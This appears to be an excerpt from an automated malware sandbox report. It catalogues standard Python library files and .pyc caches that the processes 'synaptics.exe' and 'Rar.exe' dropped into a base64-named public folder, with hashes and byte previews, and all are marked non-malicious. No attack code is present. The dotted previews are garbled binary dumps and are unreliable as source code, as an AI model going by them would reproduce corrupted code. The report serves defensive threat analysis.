Preview:	o........'-d.........................@...sF...d.Z.g.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d Z d!Z!d"Z"d#Z#d$Z$d%Z%d&Z&d'Z'd(Z(d)Z)dZd+Z+d,Z,d-Z-d.Z.d/Z/d0Z0d1Z1d2Z2d3Z3d4Z4d5Z5d6Z6d7Z7d8Z8d9Z9d:Z:d;Z;d<Z<d=Z=d>Z>d?Z?d@Z@dAZAdBZBdCZCdDdE..eD...E..D...ZFe..GeF.H......i.dFe...dGe...dHe..dIe...dJe+..dKe...dLe...dMe...dNe%..dOe0..dPe(..dQe...dRe&..dSe...dTe...dUe'..dVe5..i.dWe...dXe6..dYe...dZe1..d[e2..d\e)..d]e...d^e7..d_e...d`e...dae#..dbe...dce...dde...dee...dfe...dge ....e$e/e3e4e.e.e"e-e.e.e,e.e!dh....ZIdidj..ZJdkdl..ZKdmdn..ZLdoS.)pz.Token constants.)...tok_name..ISTERMINAL..ISNONTERMINAL..ISEOF................................................................................................................................................................. ....!...."....#....$....%....&....'....(....)........+....,....-........./....0....1....2....3....4....5....6....7....8....9....:....;....<....

C:\Users\Public\QExvbmVOb25l\Lib\pycache\tokenize.cpython-310.pyc.59562080

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	17207
Entropy (8bit):	5.78025405754347
Encrypted:	false
SSDEEP:	384:pSAswui0pcPm6mE93/w3CNgM/0n/JM7XHVOBnaH:pmiLPm3E93/wyNgM/EElOBnaH
MD5:	2F81B5A7DF51D2D496920A8E8FA0B26F
SHA1:	C9B6DB93E64F5BE3C05409C4865D79FF8ECD6A19
SHA-256:	25E9BC3CAC1257B8CDC48A148E6B769F23931D19A86FA359508013D7ED9986E5
SHA-512:	39219EF766E0D8C960B703FF0331D5922BAD94B54C2B25145FC272E0493EEFF5F459E160430FAC90A8CF0715E36EAB1CB33F44358354DC1A5810B03AE03E9AB3
Malicious:	false
Reputation:	low
Preview:	o........'-d.g.......................@...sT...d.Z.d.Z.d.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.d.d.l.m.Z...e...d.e.j...Z.e...d.e.j...Z.d.d.l.Z.e.j.g.d.....Z.[.G.d.d...d.e...d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.Z.d.Z.e.e.d.e.......e.e.....Z.d.Z d.Z!d.Z"d.Z#d.Z$e.e!e"e#e$..Z%d.Z&e.d.d ..e.e&....Z'd!e&..Z(e.e'e(..Z)e.d"e)d#....Ze.ee)e%..Z+d$d%..Z,e.j-d&d'....Z.e.e,....Z/d(Z0d)Z1d*Z2d+Z3e.e/d,..e/d-....Z4e.e/d...e/d/....Z5e.e6e.j7e8e.d0d1......Z9e.d2e9..Z:e.e+e:e5e ..Z;e.e;..Z<e.e/d3..e.d4d.....e/d5..e.d6d.......Z=e.d7e.e4..Z>e.e.e>e+e:e=e ....Z?i.Z@e,..D.].ZAe0e@eAd4..<.e1e@eAd6..<.e2e@eAd,..<.e3e@eAd-..<...q.eB..ZCeB..ZDe,..D.]%ZEeEd6..eEd4..f.D.].ZFeC.GeF......qIeEd-..eEd,..f.D.].ZFeD.GeF......qZ..q?d8ZHG.d9d:..d:eI..ZJG.d;d<..d<eI..ZKG.d=d>..d>..ZLd?d@..ZMdAdB..ZNdCdD..ZOdEdF..Z.dGdH..ZPdIdJ..ZQdKdL..ZRdMdN..ZSeTdOk...r.eS....d.S.d.S.)Pao...Tokenization help for Python programs...tokenize(readline) is a generator that breaks a stream

C:\Users\Public\QExvbmVOb25l\Lib\pycache\traceback.cpython-310.pyc.56028480

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	21721
Entropy (8bit):	5.2962014434950175
Encrypted:	false
SSDEEP:	384:IoooGsSgHvgJJpLbiO+pSbnwRG+SbL3JWFsFmppQigBsKU9l4UiTdBq:IooncHvIJpiJAngzSBhU9l4UiTdBq
MD5:	BB16E21B872D39504B7A173B439C750D
SHA1:	753011F314235186293400EB9BA8B09CCA11B8D9
SHA-256:	EAC5FB0155054EB640618EC90127C5B6BD10E8A36C05D39F9AA6CF6B73CE301F
SHA-512:	65224BD422A1C152FD5590E936E8F4B183EDF7EB9F5AE455F4953E544F113DAB140FB4EDEA88480BF9FBE5F50010A85693682A9A9F47572D94EEB6403B45874D
Malicious:	false
Reputation:	low
Preview:	o........'-d.i.......................@...sJ...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d8d.d...Z.d.d...Z.d9d.d...Z.d8d.d...Z.d8d.d...Z.d.Z.d.Z.G.d.d...d...Z.e...Z.d.d...Z.e.e.d.d.d.f.d.d...Z.e.e.d.d.f.d.d...Z.e.f.d.d...Z.d.d...Z.d.d...Z.d:d.d ..Z.d;d!d"..Z.d:d#d$..Z.d<d%d&..Z.d9d'd(..Z.d9d)d*..Z.d+d,..Z.G.d-d...d...Z.d/d0..Z.d1d2..Z.d3Z.G.d4d5..d5e ..Z!G.d6d7..d7..Z"d.S.)=z@Extract, format and print information about Python stack traces......N)...extract_stack..extract_tb..format_exception..format_exception_only..format_list..format_stack..format_tb..print_exc..format_exc..print_exception..print_last..print_stack..print_tb..clear_frames..FrameSummary..StackSummary..TracebackException..walk_stack..walk_tbc....................C...s4...\|.d.u.r.t.j.}.t...\|.......D.].}.t.\|.\|.d.d.....q.d.S.).zyPrint the list of tuples as returned by extract_tb() or. extract_stack() as a formatted stack trace to the given file.N......file..end)...sys..stderrr......from_list..format..print)...extracted_l

C:\Users\Public\QExvbmVOb25l\Lib\pycache\types.cpython-310.pyc.25844384

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	9538
Entropy (8bit):	5.148392423531561
Encrypted:	false
SSDEEP:	96:W8BGSXkI304JX7ad5RV7VIPNmXkXFNlO8U2UuLWnxq3juXvypQ1SwDFBL0GSSSO9:jBGgf9oV4NmAFyvWLwx8pOXU/I+rjmV
MD5:	7C792029776160273C123FABC37270B2
SHA1:	62953166BEB72D5F306E02EE3DFFBB777054E35B
SHA-256:	32C278122BB2D0444FA29A1A65420931042B7F74746E08921C37E36BEE2C2C68
SHA-512:	5FC5473C024E8D44498C24089C4993B5CDE066F18CC2B9730DA7BFE457D63930DAB609DB98ECE78CF016F505FDD05B55B152155B3A3EF19EDD76D0165A37C82C
Malicious:	false
Reputation:	low
Preview:	o........'-d.(.......................@...s....d.Z.d.d.l.Z.d.d...Z.e.e...Z.e.d.d.....Z.e.e.j...Z.e.e.j...Z.e.e.j...Z.d.d...Z.e.e.....Z.d.d...Z.e.e.....Z.d.d...Z.e...Z.e.e...Z.e.......d.d...Z.e...Z.e.e...Z.G.d.d...d...Z.e.e...j...Z.e.e...Z.e.g.j...Z.e.e.j...Z.e.e...j...Z e.e!j"..Z#e.e$j.d.....Z%e.e...Z&z.e'....e'y.......e..(..d...Z)e.e)..Z*e.e)j+..Z,d.Z)[)Y.n.w.e.e.j...Z-e.e.j...Z/[.[.[.[.[.[.d$d.d...Z0d.d...Z1d%d.d...Z2d.d...Z3G.d.d...d...Z4G.d.d...d...Z5d d!..Z6e.e7e8....Z9e.e8e!B...Z:e.e;..Z<e.d...Z=e.e>..Z?d"d#..e@..D...ZAd.S.)&zO.Define names for built-in types that aren't directly accessible as a builtin.......Nc....................C........d.S...N..r....r....r.....)C:\Users\Public\QExvbmVOb25l\lib\types.py.._f...........r....c....................C...r....r....r....r....r....r....r......<lambda>....r....r....c........................s....d.....f.d.d...}.\|.j.d...S.).N.....c........................r....r....r....r........ar....r......f....r....z._cell_factory.<locals>.fr....)...__clo

C:\Users\Public\QExvbmVOb25l\Lib\pycache\typing.cpython-310.pyc.59523584

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	85290
Entropy (8bit):	5.274886016227832
Encrypted:	false
SSDEEP:	1536:XCKtWnXfBkzWWZGNl2akuICUSA3yZ+MKug/kzVWqn1poDezYXXH1UXWbAyitL5U+:SSsWu58ug8fADeaVD8Vo+
MD5:	63397D8E60ACE9221E3137DBCAAB78B6
SHA1:	8DF69177FF4243CBED0B190123C76C42438F304B
SHA-256:	5101DB3BCF6D3BFAE6F5A0169088A97B16F67D32285094F1A67CCADA2F0362AB
SHA-512:	360B8EE4F3815A85FE05FD429644DC67BD9149E8866794ECCA3474BFF9D6F7B0206FEAF23EDB344B80E9A24B6E2F69F3C26ED76F04F0938A1C0FA1646B18A8FE
Malicious:	false
Reputation:	low
Preview:	o........'-d.t.......................@...s....d.Z.d.d.l.m.Z.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...g.d...Z.d.d.d...d.d...Z.d.d.d...d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.g.Z.d.d.d...d.d...Z.e...f.d d!..Z.G.d"d#..d#..Z G.d$d%..d%..Z!G.d&d'..d'e d.d(..Z"G.d)d..de"d.d(..Z#e"d+d,....Z$e"d-d.....Z%e"d/d0....Z&e"d1d2....Z'e"d3d4....Z(e"d5d6....Z)e#e.d.d...d7d8......Z*e"d9d:....Z+e"d;d<....Z,e"d=d>....Z-G.d?d@..d@e d.d(..Z.G.dAdB..dB..Z/G.dCdD..dDe e!e/d.d(..Z0G.dEdF..dFe e!d.d(..Z1G.dGdH..dHe e!d.d(..Z2G.dIdJ..dJe e!e/d.d(..Z3dKdL..Z4G.dMdN..dNe d.d(..Z5G.dOdP..dPe5d.d(..Z6G.dQdR..dRe5d.d(..Z7G.dSdT..dTe6d.d(..Z8G.dUdV..dVe7d.d(..Z9G.dWdX..dXe7d.d(..Z:G.dYdZ..dZe6d.d(..Z;d[d\..Z<G.d]d^..d^e6d.d(..Z=G.d_d`..d`e6d.d(..Z>G.dadb..db..Z?G.dcdd..dd..Z@G.dedf..df..ZAg.dg..ZBg.dh..ZCeBeC..dig...ZDdjdk..ZEdldm..ZFdndo..ZGd.drds..ZHd.dudv..ZIg.dw..dxdyg.dz..ZJG.d{d\|..d\|e...ZKG.d}d~..d~e?eKd...ZLG.d.d...d.e6d.d(

C:\Users\Public\QExvbmVOb25l\Lib\pycache\typing.cpython-310.pyc.68727680

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	85290
Entropy (8bit):	5.274874698949484
Encrypted:	false
SSDEEP:	1536:XCKtWnXfBkzWWZGNl2akuICUSA3yZ+uKug/kzVWqn1poDezYWXH1UXWbAyitL5U+:SSsWu5eug8fADenVD8Vo+
MD5:	9CF43D96C9B7AB97097DC7CBBC2851EB
SHA1:	EA09DB5ACD85AD3CCB747A0C80839D7B2037E0BD
SHA-256:	05CBF053F31333C9756CC4A25E3801C8CCB057913E4A62D8F472EFA67A0FF5EE
SHA-512:	26A4852CE6C62167463303B86B88D365E05899A0FB7C3D4ACAD80B4D2B2AE3BBC6220227282FB2C8E68F5CF9F538959784E8E536FEED394351B3F04A576C3358
Malicious:	false
Reputation:	low
Preview:	o........'-d.t.......................@...s....d.Z.d.d.l.m.Z.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...g.d...Z.d.d.d...d.d...Z.d.d.d...d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.g.Z.d.d.d...d.d...Z.e...f.d d!..Z.G.d"d#..d#..Z G.d$d%..d%..Z!G.d&d'..d'e d.d(..Z"G.d)d..de"d.d(..Z#e"d+d,....Z$e"d-d.....Z%e"d/d0....Z&e"d1d2....Z'e"d3d4....Z(e"d5d6....Z)e#e.d.d...d7d8......Z*e"d9d:....Z+e"d;d<....Z,e"d=d>....Z-G.d?d@..d@e d.d(..Z.G.dAdB..dB..Z/G.dCdD..dDe e!e/d.d(..Z0G.dEdF..dFe e!d.d(..Z1G.dGdH..dHe e!d.d(..Z2G.dIdJ..dJe e!e/d.d(..Z3dKdL..Z4G.dMdN..dNe d.d(..Z5G.dOdP..dPe5d.d(..Z6G.dQdR..dRe5d.d(..Z7G.dSdT..dTe6d.d(..Z8G.dUdV..dVe7d.d(..Z9G.dWdX..dXe7d.d(..Z:G.dYdZ..dZe6d.d(..Z;d[d\..Z<G.d]d^..d^e6d.d(..Z=G.d_d`..d`e6d.d(..Z>G.dadb..db..Z?G.dcdd..dd..Z@G.dedf..df..ZAg.dg..ZBg.dh..ZCeBeC..dig...ZDdjdk..ZEdldm..ZFdndo..ZGd.drds..ZHd.dudv..ZIg.dw..dxdyg.dz..ZJG.d{d\|..d\|e...ZKG.d}d~..d~e?eKd...ZLG.d.d...d.e6d.d(

C:\Users\Public\QExvbmVOb25l\Lib\pycache\uu.cpython-310.pyc.55634720

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3701
Entropy (8bit):	5.565725181926225
Encrypted:	false
SSDEEP:	96:G6dByWyhU9ShozDLcLmxESqc0Ic5k4CW76a0:G6dByWS2zECW3u4gD
MD5:	D9D2E0A72ECC569C9550A4BF51997CD2
SHA1:	7AF75A4FE79F87F1380771250BA38901D6D556F4
SHA-256:	8F347DFD01F602CD58AE6D37FB436B9FBACE215AD164A74E9B35D0F1697DDFDC
SHA-512:	5861BA952C937EB7B0E67E0A008F31C5B29597A23E87BDA056B3CFF7C6B816A376F0F0B3BC267A1A702FF8B3379C33081E2637667207B0AC857147E3D3C9BF88
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...sl...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.G.d.d...d.e...Z.d.d.d...d.d...Z.d.d.d...Z.d.d...Z.e.d.k.r4e.....d.S.d.S.).z.Implementation of the UUencode and UUdecode functions...encode(in_file, out_file [,name, mode], *, backtick=False).decode(in_file [, out_file, mode, quiet])......N)...Error..encode..decodec....................@...s....e.Z.d.Z.d.S.).r....N)...__name__..__module__..__qualname__..r....r.....&C:\Users\Public\QExvbmVOb25l\lib\uu.pyr....'...s........r....F....backtickc....................C...sx...g.}.z.\|.d.k.r.t.j.j.}.n/t.\|.t...r;\|.d.u.r.t.j...\|...}.\|.d.u.r1z.t...\|...j.}.W.n...t.y0......Y.n.w.t.\|.d...}.\|...\|.....\|.d.k.rDt.j.j.}.n.t.\|.t...rSt.\|.d...}.\|...\|.....\|.d.u.rYd.}.\|.d.u.r_d.}.\|...d.d...}.\|...d.d...}.\|...d.\|.d.@.\|.f.....d.......\|...d...}.t.\|...d.k.r.\|...t.j.\|.\|.d.......\|...d...}.t.\|...d.k.s.\|.r.\|...d.....n.\|...d.....W.\|.D.].}.\|.......q.d.S.\|.D.].}.\|.......q.w.).z.Uuencode file..-N..rb..wbi.......z.\n...z.\rz.begin %o %s.i......asc

C:\Users\Public\QExvbmVOb25l\Lib\pycache\warnings.cpython-310.pyc.25652736

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	13659
Entropy (8bit):	5.378568919816206
Encrypted:	false
SSDEEP:	384:QBo+bnHagj6xo0+t6p6l0y8pym5hlSxbFBdbvywKVv3dxZuC1J:QVrHagj6xLM6GaEbFBdryJ/dxZuC1J
MD5:	A34819C409015D3ED5D66DE2E2BD95A6
SHA1:	A7F811C5C94C99AF43123E230A1C0DE379CDD5AF
SHA-256:	178704D6443933120EECC6885E48D9DEF9154F8F9C31C9FA2017F0EF051F0A7D
SHA-512:	B133F04B12F29FE37C8534D4DC7F2F3AE8AB2CBE188868EEE956B0011E176742B9A8833265908CBCBAF0507139E5BAD909C56496AB8B983FFE7411BA5F7513F6
Malicious:	false
Reputation:	low
Preview:	o........'-d.O.......................@...s....d.Z.d.d.l.Z.g.d...Z.d=d.d...Z.d>d.d...Z.d.d...Z.d.d...Z.e.Z.d.d...Z.e.Z.d.d...Z.d.e.d.d.d.f.d.d...Z.e.d.d.f.d.d...Z.d.d...Z.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d&d'..Z.d?d)d..Z.....d@d+d,..Z.G.d-d...d.e...Z.G.d/d0..d0e...Z.d1d2..Z.z.d.d3l.m.Z.m Z m!Z!m.Z.m.Z.m"Z"..e Z#e!Z$d4Z%W.n...e&y.......g.Z.d5Z#i.Z$d(a'd6d7..Z"d.Z%Y.n.w.e.e.j(....e%s.e)e.d8..s.e.d5ed9d(d:....e.d;e*d(d<....e.d;e+d(d<....e.d;e,d(d<....e.d;e-d(d<....[%d.S.)Az&Python part of the warnings subsystem......N)...warn..warn_explicit..showwarning..formatwarning..filterwarnings..simplefilter..resetwarnings..catch_warningsc....................C...s....t.\|.\|.\|.\|.\|.\|...}.t.\|.....d.S.)..7Hook to write a warning to a file; replace if you like.N)...WarningMessage.._showwarnmsg_impl)...message..category..filename..lineno..file..line..msg..r.....,C:\Users\Public\QExvbmVOb25l\lib\warnings.pyr........s........r....c....................C...s....t.\|.\|.\|.\|.d.\|...}

C:\Users\Public\QExvbmVOb25l\Lib\pycache\weakref.cpython-310.pyc.56025792

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	20356
Entropy (8bit):	5.0836801324013985
Encrypted:	false
SSDEEP:	384:QjNLqhczEtRkD2ofjXd7AMlM/DgWryRjKj8j/XBNOjEUWYh1xL0D:QpqhWSRkSUXd7xyDDyDjOjbWISD
MD5:	83CD9BE8C2B5762933901E53612EB51D
SHA1:	922328F291795BD31A1243EE1BEC8E36EF10F6B7
SHA-256:	847B027F6A5E86A80A78ADFC1ACC9DE48EC4564C34EB9A5BFBA052EA78ADF6ED
SHA-512:	F579616543BD18C6F81DCA9919BEAE90D661EEF5539B3AB1403386C2565759D9B4D53EF42EF9ABBA4550FD44391DDA9E56A5D21052F67DFA7052661B3EE5B06E
Malicious:	false
Reputation:	low
Preview:	o........'-d.V.......................@...s....d.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.e.e.f.Z.g.d...Z.e.j...e.....e.j...e.....G.d.d...d.e...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e.j...Z.G.d.d...d...Z.d.S.).z\|Weak reference support for Python...This module is an implementation of PEP 205:..https://www.python.org/dev/peps/pep-0205/......)...getweakrefcount..getweakrefs..ref..proxy..CallableProxyType..ProxyType..ReferenceType.._remove_dead_weakref)...WeakSet.._IterationGuardN).r....r....r....r......WeakKeyDictionaryr....r....r......ProxyTypes..WeakValueDictionaryr......WeakMethod..finalizec........................sD...e.Z.d.Z.d.Z.d.Z.d.d.d...Z...f.d.d...Z.d.d...Z.d.d...Z.e.j.Z.....Z.S.).r....z.. A custom `weakref.ref` subclass which simulates a weak reference to. a bound method, working around the lifetime problem of bound methods.. )..._func_ref.._meth_type.._alive..__weakref__Nc........................sx...z.\|.j.}.\|.j.}.W.n...

C:\Users\Public\QExvbmVOb25l\Lib\pycache\zipfile.cpython-310.pyc.60842592

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	61048
Entropy (8bit):	5.52755356940606
Encrypted:	false
SSDEEP:	1536:e5DKf6qzuikPr038uc4PT1+Y9sW1EynK5c7z0p+YHiBZ:InqyPr0dhXFAp76
MD5:	8106753A39CABCBA5AEB40F563BF7E62
SHA1:	BC0FE47B046D553245AD950010D540DBD7F6DC34
SHA-256:	20817AEC1F4BCF7AA6F0DA4E97238077B460D76379535284709D3359CF756174
SHA-512:	AE4B6533052B8FB784484B5C580725F269F3EEF59BB54AA0032EF5360371DC0286183FD85ADC73603E4851FA00C7FA469D52C5091B0BA2370A99A3F8116B30A4
Malicious:	false
Reputation:	low
Preview:	o........'-d.g.......................@...sD...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.Z.e.j.Z.W.n...e.yQ......d.Z.e.j.Z.Y.n.w.z.d.d.l.Z.W.n...e.yc......d.Z.Y.n.w.z.d.d.l.Z.W.n...e.yu......d.Z.Y.n.w.g.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.e...Z.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z d.Z!d.Z"d.Z#d.Z$d.Z%d.Z&d.Z'd.Z(e..)e'..Zd.Z+d.Z,d.Z-d.Z.d.Z/d.Z0d.Z1d.Z2d.Z3d.Z4d.Z5d.Z6e..)e5..Z7d.Z8d.Z9d.Z:d.Z;d.Z<d.Z=d.Z>d.Z?d.Z@d.ZAd.ZBd.ZCd.ZDd.ZEd.ZFd ZGd!ZHd"ZId#ZJd$ZKd%ZLe..)eK..ZMd.ZNd.ZOd.ZPd.ZQd.ZRd.ZSd.ZTd.ZUd.ZVd.ZWd.ZXd.ZYd&ZZd'Z[e..)eZ..Z\d(Z]d)Z^e..)e]..Z_d.Z`d.Zad.Zbd.Zcd.Zdd.Zed.Zfd.Zgd.Zhd.ZidZje..kd+..Zld,d-..Zmd.d/..Znd0d1..Zod2d3..Zpd4d5..ZqG.d6d7..d7er..Zsd.atd8d9..Zud:d;..ZvG.d<d=..d=..ZwG.d>d?..d?..Zxi.d.d@..d.dA..d.dB..d.dB..d.dB..d.dB..d.dC..d.dD..d.dE..d.dF..d.dC..d.dG..d.dH..d#dI..dJdK..dLdM..dNdO..ZydPdQ..ZzdsdRdS..Z{dTdU..Z\|G.dVdW..dW..Z}G.dXdY..dY..Z~G.dZd[..d[e.j...Z.G.d\d]..d]e.j...Z.G.d^d_..d_..Z.

C:\Users\Public\QExvbmVOb25l\Lib\pycache\zipfile.cpython-310.pyc.73869024

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	61048
Entropy (8bit):	5.52755356940606
Encrypted:	false
SSDEEP:	1536:e5DKf6qzuikPr0x8uc4PT1+Y9sW1EynK5c7z0p+YHiBZ:InqyPr0DhXFAp76
MD5:	D4BE363740FDB0750855C7A83A1827CD
SHA1:	55D56F1EBF33CBF29EA40BAAD9A38BD5CF5373F9
SHA-256:	90360DDE7064DCA379D18532B7DBD77CB5378DC29F734E78ED57C0C6F52CCFD1
SHA-512:	69F86244575F122D57A5B9068F6A15272D83E62189552B95D9CD0387B2C51A9979AEF7609D2F20C2444B7B9542A076C561503E69DB3255EE017D70B5B7DD2FAE
Malicious:	false
Reputation:	low
Preview:	o........'-d.g.......................@...sD...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.Z.e.j.Z.W.n...e.yQ......d.Z.e.j.Z.Y.n.w.z.d.d.l.Z.W.n...e.yc......d.Z.Y.n.w.z.d.d.l.Z.W.n...e.yu......d.Z.Y.n.w.g.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.e...Z.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z d.Z!d.Z"d.Z#d.Z$d.Z%d.Z&d.Z'd.Z(e..)e'..Zd.Z+d.Z,d.Z-d.Z.d.Z/d.Z0d.Z1d.Z2d.Z3d.Z4d.Z5d.Z6e..)e5..Z7d.Z8d.Z9d.Z:d.Z;d.Z<d.Z=d.Z>d.Z?d.Z@d.ZAd.ZBd.ZCd.ZDd.ZEd.ZFd ZGd!ZHd"ZId#ZJd$ZKd%ZLe..)eK..ZMd.ZNd.ZOd.ZPd.ZQd.ZRd.ZSd.ZTd.ZUd.ZVd.ZWd.ZXd.ZYd&ZZd'Z[e..)eZ..Z\d(Z]d)Z^e..)e]..Z_d.Z`d.Zad.Zbd.Zcd.Zdd.Zed.Zfd.Zgd.Zhd.ZidZje..kd+..Zld,d-..Zmd.d/..Znd0d1..Zod2d3..Zpd4d5..ZqG.d6d7..d7er..Zsd.atd8d9..Zud:d;..ZvG.d<d=..d=..ZwG.d>d?..d?..Zxi.d.d@..d.dA..d.dB..d.dB..d.dB..d.dB..d.dC..d.dD..d.dE..d.dF..d.dC..d.dG..d.dH..d#dI..dJdK..dLdM..dNdO..ZydPdQ..ZzdsdRdS..Z{dTdU..Z\|G.dVdW..dW..Z}G.dXdY..dY..Z~G.dZd[..d[e.j...Z.G.d\d]..d]e.j...Z.G.d^d_..d_..Z.

C:\Users\Public\QExvbmVOb25l\Lib\_aix_support.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3359
Entropy (8bit):	5.102406469186923
Encrypted:	false
SSDEEP:	96:108JH5EP/oN8I2Rqpb/fmfbuoakRVsRo61RmT+F8R2HR7:10roXh/fmTuoNRVsRo2RRR7
MD5:	4DEA757F6D3EB1A2EF11BDAAD4E23DD2
SHA1:	4806A790E4801C528111299BAD115F604D4C53EB
SHA-256:	E10D74710901AE5610CAD66273F45F24FE446CAA74AD27D3F7C199CEB92C9B21
SHA-512:	68249AAEAD32F52E6555FC0B688DB8A6DFD33BC0F5C975EFC8EAA0A74EEA9152318836C653790FA7C38BA2DC26D5766544B89D92BAB64372B0750F89D5360C53
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""Shared AIX support functions."""....import sys..import sysconfig....try:.. import subprocess..except ImportError: # pragma: no cover.. # _aix_support is used in distutils by setup.py to build C extensions,.. # before subprocess dependencies like _posixsubprocess are available... import _bootsubprocess as subprocess......def _aix_tag(vrtl, bd):.. # type: (List[int], int) -> str.. # Infer the ABI bitwidth from maxsize (assuming 64 bit as the default).. _sz = 32 if sys.maxsize == (2**31-1) else 64.. # vrtl[version, release, technology_level].. return "aix-{:1x}{:1d}{:02d}-{:04d}-{}".format(vrtl[0], vrtl[1], vrtl[2], bd, _sz)......# extract version, release and technology level from a VRMF string..def _aix_vrtl(vrmf):.. # type: (str) -> List[int].. v, r, tl = vrmf.split(".")[:3].. return [int(v[-1]), int(r), int(tl)]......def _aix_bosmp64():.. # type: () -> Tuple[str, int].. """.. Return a Tuple[str, int] e.g., ['7.1.4.34', 1806].. The fi

C:\Users\Public\QExvbmVOb25l\Lib\_bootsubprocess.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2772
Entropy (8bit):	4.431404312247647
Encrypted:	false
SSDEEP:	48:FEDKp2B5JX6YOo/SEP5iFYoe5MCyNNlYbqMgwOF8zCEuo/+5q9Wam:uDr9X6MEKb9gwuojFm
MD5:	977B851F41A21AB6862A9527A8490AB5
SHA1:	9F882F4FFF8CB58CDF9F874A7E74DBEAE824E430
SHA-256:	4C817B46039F0162413A4384EFFEA304E933307E9B40527C8AB02FB64079AB7D
SHA-512:	1B24DAA30A11A1F8E4A455558E4B2D74EBFCBF7EC1275F3D1C54EB02AD820CA037D98166B6B53C8350D9BDDAEDF0BD5EFD3E508EE6AEF186FA5BDC3193C9A374
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""..Basic subprocess implementation for POSIX which only uses os functions. Only..implement features required by setup.py to build C extension modules when..subprocess is unavailable. setup.py is not used on Windows..."""..import os......# distutils.spawn used by distutils.command.build_ext..# calls subprocess.Popen().wait()..class Popen:.. def __init__(self, cmd, env=None):.. self._cmd = cmd.. self._env = env.. self.returncode = None.... def wait(self):.. pid = os.fork().. if pid == 0:.. # Child process.. try:.. if self._env is not None:.. os.execve(self._cmd[0], self._cmd, self._env).. else:.. os.execv(self._cmd[0], self._cmd).. finally:.. os._exit(1).. else:.. # Parent process.. _, status = os.waitpid(pid, 0).. self.returncode = os.waitstatus_to_exitcode(status).... return self.ret

C:\Users\Public\QExvbmVOb25l\Lib\_collections_abc.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	33455
Entropy (8bit):	4.523318335419718
Encrypted:	false
SSDEEP:	768:IOnTX1Ewkx023y0SuqlTWbbYXxeF6tTgA/rTNq4bD5sSeWtvVUzh:lnTYYh4kreivVUzh
MD5:	FAA0E5D517CF78B567A197CB397B7EFC
SHA1:	2D96F3E00AB19484FF2487C5A8B59DFE56A1C3AC
SHA-256:	266CCCEB862EA94E2B74FDDA4835F8EF149D95C0FC3AAFE12122D0927E686DD3
